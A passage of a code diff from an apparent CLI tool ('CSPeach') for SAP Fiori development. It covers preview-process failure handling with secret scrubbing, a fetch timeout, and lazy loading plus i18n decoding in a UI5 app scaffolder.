+ // R1-1: a child that died during the wait is never registered — its 'exit'
416
+ // has already fired, so nothing would ever forget the entry — even when
417
+ // something else happens to answer the port.
418
+ if (!outcome.ready || exited) {
419
+ // On Windows a dead child's pid may already belong to another process:
420
+ // no taskkill at it. POSIX still signals the group (survivors of a dead
421
+ // leader remain in it, and a pgid is not reused while a member lives).
422
+ if (!exited || process.platform !== 'win32')
423
+ await kill(child.pid, child);
424
+ unmarkPendingChild(child);
425
+ const tail = scrubSecrets([stderrTail.text(), stdoutTail.text()].filter((s) => s.length > 0).join('\n'), password, system.username);
426
+ const readinessLine = outcome.ready
427
+ ? 'readiness: the port answered, but not from the process this preview started\n'
428
+ : `readiness: ${describeOutcome(outcome)}\n`;
429
+ const why = exited
430
+ ? `the preview process exited (${exitSignal ? `signal ${exitSignal}` : `code ${exitCode}`}) before it became ready`
431
+ : `the preview did not become ready within ${budgetMs}ms — ${outcome.ready ? '' : describeOutcome(outcome)}`;
432
+ return {
433
+ ok: false,
434
+ error: `${why}\nurl: ${url}\n` +
435
+ (exited ? readinessLine : '') +
436
+ (tail.length > 0 ? `last output from the preview process:\n${tail}` : 'the preview process produced no output'),
437
+ };
438
+ }
439
+ // ── 10. Register ─────────────────────────────────────────────────────────
440
+ const entry = {
441
+ previewId: `preview-${randomUUID()}`,
442
+ appDir,
443
+ url,
444
+ port,
445
+ pid: child.pid,
446
+ entry: entryFile,
447
+ startedAt: Date.now(),
448
+ alias: args.alias,
449
+ loginPassed,
450
+ };
451
+ registerPreview(entry, child);
452
+ return {
453
+ ok: true,
454
+ entry,
455
+ tlsNote,
456
+ insecureFallback,
457
+ reused: false,
458
+ loginPassed,
459
+ warnings: [...replacedWarnings, ...insecureWarnings(tls.mode, args.alias)],
460
+ };
461
+ }
462
+ function insecureWarnings(mode, alias) {
463
+ if (mode !== 'insecure')
464
+ return [];
465
+ return [
466
+ `this system is in insecure TLS mode; set sap.${alias}.ca_cert_path to a PEM root CA ` +
467
+ '(the preview was started unchanged — CSPeach never turns certificate checking off)',
468
+ ];
469
+ }
@@ -81,12 +81,27 @@ export function resolveRawBase(rawBase) {
81
81
  return trimmed;
82
82
  return RAW_CONTENT_ROOT + trimmed.replace(/^\/+/, '');
83
83
  }
84
+ /** L1-7 (O-22): a hung connection must not stall fiori_sample_get. */
85
+ export const FETCH_TEXT_TIMEOUT_MS = 30_000;
84
86
  /** Default network fetch — used only when no `fetchText` is injected. */
85
- async function defaultFetchText(url) {
86
- const res = await fetch(url);
87
- if (!res.ok)
88
- throw new Error(`HTTP ${res.status} for ${url}`);
89
- return res.text();
87
+ export async function defaultFetchText(url) {
88
+ const ctrl = new AbortController();
89
+ const timer = setTimeout(() => ctrl.abort(), FETCH_TEXT_TIMEOUT_MS);
90
+ try {
91
+ const res = await fetch(url, { signal: ctrl.signal });
92
+ if (!res.ok)
93
+ throw new Error(`HTTP ${res.status} for ${url}`);
94
+ return await res.text();
95
+ }
96
+ catch (err) {
97
+ if (ctrl.signal.aborted) {
98
+ throw new Error(`fetch of ${url} timed out after ${FETCH_TEXT_TIMEOUT_MS / 1000} s`);
99
+ }
100
+ throw err;
101
+ }
102
+ finally {
103
+ clearTimeout(timer);
104
+ }
90
105
  }
91
106
  /** Split a name/relative path into segments on either slash flavour. */
92
107
  function segments(p) {
@@ -1,18 +1,24 @@
1
1
  // cspeach-cli/src/tools/fiori/scaffold.ts
2
- import { generate, TemplateType } from '@sap-ux/fiori-freestyle-writer';
3
2
  import { create } from 'mem-fs';
4
3
  import { create as createEditor } from 'mem-fs-editor';
4
+ import { join } from 'node:path';
5
+ import { PINNED_UI5_VERSION } from './ui5-version.js';
6
+ import { decodePropertiesValues } from './html-escapes.js';
5
7
  // Without an explicit ui5 config the writer falls back to minUI5Version 1.60,
6
8
  // which fiori-tools-proxy resolves to the 1.71 LTS — whose bootstrap does NOT
7
9
  // understand the hyphenated `data-sap-ui-on-init` attribute the writer itself
8
10
  // emits in index.html. Result: silent blank page (ComponentSupport never runs).
9
- // 1.120 is the S/4HANA 2023-era LTS and parses the modern attribute.
10
- const DEFAULT_UI5_VERSION = '1.120.0';
11
- const TEMPLATE = {
12
- basic: TemplateType.Basic, worklist: TemplateType.Worklist, listdetail: TemplateType.ListDetail,
13
- };
11
+ // 1.120 is the S/4HANA 2023-era LTS and parses the modern attribute. The exact
12
+ // patch is the ONE pinned, CDN-hosted one (ui5-version.ts) — never an x.y.0 guess.
13
+ const DEFAULT_UI5_VERSION = PINNED_UI5_VERSION;
14
14
  /** Scaffold a freestyle UI5 app and FULLY flush it to disk (awaits commit). */
15
15
  export async function scaffoldFreestyle(opts) {
16
+ // Loaded on use (fix round 3, item 11e): the writer's module graph cost
17
+ // ~0.5 s of every CLI start, Fiori work or not.
18
+ const { generate, TemplateType } = await import('@sap-ux/fiori-freestyle-writer');
19
+ const TEMPLATE = {
20
+ basic: TemplateType.Basic, worklist: TemplateType.Worklist, listdetail: TemplateType.ListDetail,
21
+ };
16
22
  const fs = createEditor(create());
17
23
  // NOTE (Phase-0 spike finding): the real freestyle-writer@3 API REQUIRES
18
24
  // `app.projectType` and a `package` object — without them ui5-application-writer
@@ -35,5 +41,11 @@ export async function scaffoldFreestyle(opts) {
35
41
  data.service = { url: opts.service.url, path: opts.service.path, version: writerVersion };
36
42
  }
37
43
  await generate(opts.basePath, data, fs);
44
+ // 2026-09-25: the writer HTML-escapes the main view title into i18n.properties
45
+ // ("title=Tom&#39;s …"), and UI5 shows those escapes literally. i18n values
46
+ // are plain text — decode them before the files reach disk.
47
+ const i18nPath = join(opts.basePath, 'webapp', 'i18n', 'i18n.properties');
48
+ if (fs.exists(i18nPath))
49
+ fs.write(i18nPath, decodePropertiesValues(fs.read(i18nPath)));
38
50
  await new Promise((res, rej) => fs.commit((err) => (err ? rej(err) : res())));
39
51
  }